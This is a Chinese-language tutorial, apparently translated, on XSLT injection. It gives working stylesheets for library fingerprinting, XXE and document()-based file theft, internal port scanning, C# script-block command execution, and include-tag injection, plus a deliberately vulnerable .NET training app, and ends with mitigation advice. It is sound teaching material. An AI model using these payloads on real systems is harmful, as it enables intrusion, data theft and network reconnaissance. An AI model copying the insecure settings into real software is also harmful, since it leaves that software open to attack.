前言
XSLT(扩展样式表转换语言)漏洞可能会给那些受到影响的应用带来严重的后果,经常会导致远程代码执行。
举几个已被公开的 XSLT 远程代码执行漏洞的例子,CVE-2012-5357 影响了 .NET Ektron CMS;CVE-2012-1592 影响了Apache Struts 2.0;CVE-2005-3757 影响了 Google 搜索应用。
从上面的例子可以看出,XSLT 漏洞可谓是由来已久,但是它并不像一些类似的漏洞(例如 XML 漏洞)那样常见。尽管我们经常在我们的安全评估中看到它的身影,但是有关该漏洞及其相关利用技术的文章却并不多见。
本文将通过展示一些经过精心挑选的 XSLT 攻击来说明这种技术以不安全的方式使用时所存在的风险。例如:远程执行任意代码、窃取远程系统数据、执行网络端口扫描以及获取受害者内部网络资源。本文还会提供一个简单的易受攻击的 .NET 应用,可用于练习本文中所展示攻击,最后提供几条规避 XSLT 漏洞的建议。
什么是 XSLT ?
XSLT(扩展样式表转换语言)是一种对 XML 文档进行转化的语言。XML 文档通过 XSLT 转化后可以变成为另一份不同的 XML 文档,或者其他类型的文档,例如 HTML 文档、 CSV 文件、纯文本文件等。
XSLT 通常用于转换被不同应用加工过的文件格式,还有就是作为一个模板引擎。许多企业级应用广泛地使用了 XSLT ,例如一个多租户发票应用可能会允许客户使用 XSLT 来高度定制他们的发票,比如根据自己的特殊需要来改变发票内容和发票格式。
其他一些常见的 XSLT 应用场景:
在展示攻击之前,我们不妨先通过一个简单的例子看看这个转化到底是怎么回事。以下面这段包含了一些水果名及相关介绍的 XML 文档为例。
1
2
3
4
5
6
7
8
9
10
11
|
<?xml version="1.0" ?>
<fruits>
<fruit>
<name>Lemon</name>
<description>Yellow and sour</description>
</fruit>
<fruit>
<name>Watermelon</name>
<description>Round, green outside, red inside</description>
</fruit>
</fruits>
|
为了将该 XML 文档转化为纯文本文档,可使用如下 XSL 文档:
1
2
3
4
5
6
7
8
9
10
11
|
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
转换结果如下:
1
2
3
4
|
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
|
(译注:可参考XSLT - 转换)
XSLT 服务端注入攻击
本部分会展示一套测试应用是否存在 XSLT 漏洞的方法,覆盖了从发现到利用的全过程。例子是一个使用微软 System.Xml XSLT 实现的易受攻击的应用。类似的技术同样可应用于一些其他的常见的库,如 Libxslt 、 Saxon 、 Xalan 。
找到切入点
第一步是定位应用可能存在漏洞的地方。
最简单的情景就是应用允许用户上传任意 XSLT 文件。如果上述情景不存在,一个易受攻击的应用可能会使用不可信的用户输入动态地生成 XSLT 文档。例如,该应用可能会生成如下的 XSLT 文档,字符串"Your Company Name Here"这里对应的就是不可信的用户输入。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
|
为了验证该应用是否是易受攻击的,我们通常会插入一些会导致 XML 文件语法错误的字符,例如双引号、单引号和尖括号{", ', <, >}。如果服务器会返回错误,那么这个应用就有可能是易受攻击的。一般而言,这种定位技术与定位 XML 注入漏洞的技术类似。
后面将要提到的攻击中有一些仅在文件的特定区域注入时才有效。不过别担心,本文也会展示一种利用 import 和 include 功能来绕开这种限制的技术。
为了使文章简单易懂,除非另有说明,在接下来的例子中我们将假设我们可以向应用提交任意的 XSLT 文档。
使用 system-property() 函数提取指纹
一旦找到了攻击切入点,接下来提取系统指纹和明确应用正在使用的 XSLT 库是非常有必要的。
在进行攻击之前,如果知晓了应用所使用的 XSLT 库是十分有用地。因为不同的库支持的 XSLT 功能不同,所以可能存在这样的情况,一个功能在这个库中是可以使用的,但是换成另一个库中却无法使用了。专有扩展通常都不支持库间兼容。此外,不同的库的默认设置可能存在较大差异,通常来说,旧的库会默认启用一些存在风险的功能,但是新的库则要求开发者在需要时手动开启这些功能。
使用 system-property() 函数可以查出一个库的供应商名称,这是 XSLT v1.0 标准的一部分,所有的库都支持该功能。该函数有效的参数有:
-
xsl:vendor
-
xsl:vendor-url
-
xsl:version
下面的 XSL 文档可用于查出库的供应商:
1
2
3
4
5
6
|
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
|
由于本文的被测试应用使用的是 .NET System.xml ,因此返回值是 Microsoft 。
使用 XML 外部实体(XXE)窃取信息、扫描端口
由于 XSLT 所使用的文件格式是 XML ,那么常见的针对 XML 的攻击,例如十亿笑攻击(也称 XML 炸弹)和 XML 外部实体攻击,也会影响到 XSLT 就不足为奇了。十亿笑攻击是一种拒绝服务攻击,其目的在于耗尽服务器的内存资源。为了更契合主题,本文采用的是 XML 外部实体攻击。
在下面的例子中,我们使用了一个外部实体读取 "C:\secretfruit.txt" 文件中的内容。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
ENTITY 元素放置的是 "ext_file" 所引用的文件中的内容,也就是我们接下来使用语法 "&ext_file" 打印到主文档中的内容。从输出结果可以看出该文件中的秘密内容就是 "Golden Apple" :
1
2
3
4
|
Fruits Golden Apple:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
|
这项技术可被用来取出存储在 Web 服务器上的文件,或者那些正常情况下攻击者无法访问的内部网络的网页,而这些文件有可能是包含身份信息的配置文件或者包含其他敏感信息的文件。
对于那些可以从受害者内部网络中的其他系统中取出的文件,攻击者也可以使用 UNC 路径 {\\servername\share\file} 或者 URL {http://servername/file} 来代替文件路径。
使用一些 IP 地址和端口号或许还能查出一个远程端口是打开状态还是关闭状态,不过这一点取决于应用是如何应答的,比方说应用可以返回不同种类的错误信息或者在应答中显示时延信息。
下面的 XSLT 文档使用了 URL http://172.16.132.1:25 :
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "http://172.16.132.1:25">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
下图展示了当我们试图连接到该 URL 时,应用返回的错误信息。透过该错误信息不难推断出25号端口处于关闭状态。
当我们使用 http://172.16.132.1:1234 时,应用返回了不同的错误信息,透过该错误信息可以推断出1234号端口处于打开状态。
攻击者可以使用这种技术对受害者的内部网络进行侦察扫描。
使用 document() 函数窃取信息、扫描端口
document() 函数赋予了 XSLT 文档访问外部 XML 文档中除了主数据源之外的数据的能力。
通过将所有内容复制到转换结果中,该函数可以被滥用于读取远程系统上的文件。被读取的文件需要是一个格式正确的 XML 文档,但这基本上不算问题,因为敏感信息通常就是被存储在 XML 文件中。例如 ASP .NET Web 应用中的 web.config 文件就是一个很好的目标,因为该文件可能包含了数据库证书。
看一个例子。下面的 XSLT 文档可用于窃取 "C:\secrectfruit.xml" 文件中的内容:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('C:\secretfruit.xml')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
转换结果在顶部显示了该秘密文件中的内容。
1
2
3
4
5
6
7
8
9
10
|
<fruits>
<fruit>
<name>Golden Apple</name>
<description>Round, made of Gold</description>
</fruit>
</fruits>
Fruits:
- Lemon: Yellow and sour
- Watermelon: Round, green outside, red inside
|
与 XXE 攻击类似,document() 函数可被用于取出远程系统中的文档,也可使用 UNC 路径或者 URL 进行简单的端口扫描。下面是一个使用 URL 执行端口扫描的 XSLT 文档:
1
2
3
4
5
6
7
8
9
10
11
12
|
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
|
使用嵌入式脚本块进行远程代码执行
嵌入式脚本块属于专有 XSLT 扩展的功能,允许将代码直接包含在 XSLT 文档中。例如在微软的实现中,可以包含 C# 代码。当文档被解析后,包含在其中的代码会被远程服务器编译运行。
下面这个 XSLT 文档就是一个 PoC ,功能为列出当前工作目录下所有文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
|
首先我们在 "xsl:stylesheet" 标签中定义了两个新的 XML 前缀。第一个 "xmlns:msxsl" 启用了微软的专有架构扩展,第二个 "xmlns:user" 声明了一个通过 "msxsl:script" 脚本块实现的用户自定义扩展。
上述 C# 代码实现了一个 execute() 函数,该函数先执行了命令"cmd.exe /c dir",然后以字符串的形式返回了该命令的输出。
最后该函数在"xsl:value-of"标签中被调用。
上述转换的结果其实与在 Windows 命令行中使用命令 "dir" 的输出一模一样。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
--- BEGIN COMMAND OUTPUT ---
Volume in drive C has no label.
Volume Serial Number is EC7C-74AD
Directory of C:\Users\context\Documents\Visual Studio 2015\Projects\XsltConsole
Application\XsltConsoleApplication\bin\Debug
22/02/2017 15:19 <DIR> .
22/02/2017 15:19 <DIR> ..
22/02/2017 13:30 258 data.xml
22/02/2017 14:48 233 external_transform.xslt
22/02/2017 15:15 12 secretfruit.txt
31/01/2017 13:45 154 secretfruit.xml
22/02/2017 15:29 831 transform.xslt
22/02/2017 13:49 7,168 XsltConsoleApplication.exe
26/01/2017 15:42 189 XsltConsoleApplication.exe.config
22/02/2017 13:49 11,776 XsltConsoleApplication.pdb
8 File(s) 20,621 bytes
2 Dir(s) 9,983,107,072 bytes free
--- END COMMAND OUTPUT ---
|
江湖救急:import 、include
import 和 include 标签可被用于关联多个 XSLT 文档。
如果我们遇到了这样的情况:只能在 XSLT 文档中间部分注入。这样一来,便不能直接使用 XML 外部实体攻击或者嵌入式脚本块了,因为这两者都需要注入点在文件的最顶端。此时,import 和 include 便可用来克服此类限制,具体来讲就是给该 XSLT 文档关联一个外部文档。当外部文档被加载后,整个文档会被解析,如果攻击者可以控制这个外部文档,那他们就可以在该外部文档中使用 XML 外部实体或嵌入式脚本了。这个外部文档可以是提前上传到服务器的文件,也可以是一个使用 URL 引用的位于攻击者电脑上的文件,只要文件内容是 XML 即可。
值得注意的是,"xsl:import" 标签只能作为 "xsl:stylesheet" 标签的第一个孩子使用,但是 "xsl:include" 标签则没有此限制。
此处使用了与之前一模一样的 XSLT 文档,同时假设我们只能在字符串 "Your Company Name Here" 这里注入。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version=”1.0” encoding=”utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Your Company Name Here
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
|
我们想要关联下面名为 "external_transform.xslt" 的外部 XSLT 文档。为了简化问题,此处该外部文档只是简单地打印了一条消息。但是值得一提的是,该外部文档可以替换为前面已经介绍过任意一个 XSLT 文档,包括那些需要在文件最顶部声明的文档,比如那个不能在此处直接使用的包含了嵌入式脚本块的文档。
1
2
3
4
5
6
|
<?xml version=”1.0” encoding=”utf-8”?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Hello from the external transformation
</xsl:template>
</xsl:stylesheet>
|
为了包含外部文档,我们需要插入以下标签。
1
|
<xsl:include href="external_transform.xslt"/>
|
但是这里有个问题,那就是 "xsl:include"标签不能被包含在 "xsl:template" 标签之内,同时插入 include 标签的文件还必须是一个格式正确的 XML 文件。所以,第一步我们要做的就是关闭 "xsl:template" 标签,然后我们才能插入 "xsl:include" 标签,这样就满足了第一个条件。但是为了满足第二个条件,我们又需要在插入 "xsl:include" 标签之后重新打开 "xsl:template" 标签。于是最后的结果变成了这个样子:
1
|
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
|
完成注入后,最终 XSLT 文档差不多如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
</xsl:template><xsl:include href="external_transform.xslt"/><xsl:template name="a">
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
<xsl:include href="external_transform.xslt"/>
</xsl:stylesheet>
|
转换执行后会产生如下输出:
1
|
Hello from the external transformation
|
[出自:jiwo.org]
一个易受 XSLT 攻击的 APP
XSLT 漏洞到此已经介绍完毕,但是想要写出一个在实际情景中能够奏效的利用漏洞的 XSLT 文档可能并不如想象中的那般容易,一方面因为要严格符合 XML 的语法规范,另一方面是因为我们往往不能把握应用的实现细节。你可能在想,要是有个现成的应用让我练练手那该多好啊!
为此,我写了个小型的易受攻击的 .NET 控制台应用,可用于对其前面我们所介绍的攻击进行练习。该应用使用了 .NET 的 System.Xml 实现。源码已经贴在下面了,请使用微软的 Visual Studio 编译。源码和编译好的应用也可从这里下载。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
using System;
using System.Xml;
using System.Xml.Xsl;
namespace XsltConsoleApplication
{
class Program
{
/*
This code contains serious vulnerabilities and is provided for training purposes only!
DO NOT USE ANYWHERE FOR ANYTHING ELSE!!!
*/
static void Main(string[] args)
{
Console.WriteLine("\n#####################################################################");
Console.WriteLine("# #");
Console.WriteLine("# This is a Vulnerable-by-Design application to test XSLT Injection #");
Console.WriteLine("# #");
Console.WriteLine("#####################################################################\n");
Console.WriteLine("The application expects (in the current working directory):");
Console.WriteLine(" - an XML file (data.xml) and\n - an XSLT style sheet (transform.xslt)\n");
Console.WriteLine("===================================================================");
String transformationXsltFileURI = "transform.xslt";
String dataXMLFileURI = "data.xml";
// Enable DTD processing to load external XML entities for both the XML and XSLT file
XmlReaderSettings vulnerableXmlReaderSettings = new XmlReaderSettings();
vulnerableXmlReaderSettings.DtdProcessing = DtdProcessing.Parse;
vulnerableXmlReaderSettings.XmlResolver = new XmlUrlResolver();
XmlReader vulnerableXsltReader = XmlReader.Create(transformationXsltFileURI, vulnerableXmlReaderSettings);
XmlReader vulnerableXmlReader = XmlReader.Create(dataXMLFileURI, vulnerableXmlReaderSettings);
XsltSettings vulnerableSettings = new XsltSettings();
// Embedded script blocks and the document() function are NOT enabled by default
vulnerableSettings.EnableDocumentFunction = true;
vulnerableSettings.EnableScript = true;
// A vulnerable settings class can also be created with:
// vulnerableSettings = XsltSettings.TrustedXslt;
XslCompiledTransform vulnerableTransformation = new XslCompiledTransform();
// XmlUrlResolver is the default resolver for XML and XSLT and supports the file: and http: protocols
XmlUrlResolver vulnerableResolver = new XmlUrlResolver();
vulnerableTransformation.Load(vulnerableXsltReader, vulnerableSettings, vulnerableResolver);
XmlWriter output = new XmlTextWriter(Console.Out);
// Run the transformation
vulnerableTransformation.Transform(vulnerableXmlReader, output);
}
}
}
|
请确保你在当前工作目录下使用了名为 data.xml 和 transformation.xslt 的文件(请查看源码相应片段)。
小小的建议
如果你的应用中使用了 XSLT ,或许你可以从下面的指南中学到一些规避 XSLT 漏洞的方法。
-
尽可能避免使用用户所提供的 XSLT 文档。
-
不要使用不可信的输入来生成 XSLT 文档,例如连接字符串。如果必须要使用非静态值,则应将其包含在 XML 数据文件中,并且只能由 XSLT 文档引用。
-
手动关闭正在使用的 XSLT 库中所提供的一些有风险的功能,因为库的默认设置一般都不太安全。查查库手册学习一下如何关闭那些有风险的功能,例如:XML外部实体、document{} 函数、import 和 include 标签。确保禁用了嵌入式脚本扩展,还有一些专有扩展所提供的允许读写外部文件的功能。
推荐大家看一下这篇文章 XSLT Processing Security and Server Side Request Forgeries ,作者是 Emanuel Duss 和 Roland Bischofberger 。这篇文章对于流行的 XSLT 库所实现的功能和每个库的默认设置做了一个很好的梳理,第34页还包含了一个对新手很友好的功能对比表格。
总结
XSLT 作为一个强大的工具被众多应用所使用,但是其脆弱的一面并不广为人知。一份糟糕的代码中很有可能隐藏了可被攻击者用来控制应用或窃取数据的漏洞。本文旨在通过展示一些可能受到的攻击来提高大家对于 XSLT 的认识,同时提供了一点指引帮助大家避免中招一些写代码时比较常见的陷阱。